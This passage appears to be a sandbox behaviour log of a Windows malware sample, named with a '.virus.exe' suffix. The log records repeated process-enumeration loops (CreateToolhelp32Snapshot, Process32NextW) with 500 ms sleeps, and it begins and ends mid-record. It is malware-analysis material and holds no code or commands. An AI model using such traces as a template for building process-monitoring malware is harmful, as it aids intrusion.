cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0172.585] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.585] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.585] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.586] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.586] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.587] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0172.587] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.588] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.588] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0172.589] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0172.590] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0172.590] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0172.591] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0172.591] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.591] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0172.592] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0172.592] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0172.593] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0172.593] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0172.593] Process32NextW (in: hSnapshot=0x1e8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0172.594] CloseHandle (hObject=0x1e8) returned 1 [0172.594] Sleep (dwMilliseconds=0x1f4) [0173.374] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f0 [0173.377] Process32FirstW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.377] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0173.377] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0173.378] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.378] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0173.379] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.379] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0173.379] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0173.380] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0173.380] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0173.380] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.381] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.381] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.381] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.382] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.382] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0173.382] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.383] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.383] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0173.384] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0173.389] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0173.390] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0173.390] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0173.391] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.394] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0173.394] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0173.395] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0173.395] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0173.395] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0173.396] Process32NextW (in: hSnapshot=0x1f0, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0173.396] CloseHandle (hObject=0x1f0) returned 1 [0173.396] Sleep (dwMilliseconds=0x1f4) [0174.135] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e4 [0174.137] Process32FirstW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.138] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0174.138] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0174.138] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.139] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0174.139] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.139] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0174.139] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0174.140] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0174.140] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0174.141] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.141] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.141] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.142] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.142] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.142] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0174.143] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.143] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.143] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0174.144] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0174.144] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0174.144] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0174.145] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0174.145] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.145] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0174.146] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0174.146] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0174.146] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0174.147] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0174.147] Process32NextW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0174.147] CloseHandle (hObject=0x1e4) returned 1 [0174.147] Sleep (dwMilliseconds=0x1f4) [0174.775] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e4 [0174.777] Process32FirstW (in: hSnapshot=0x1e4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, 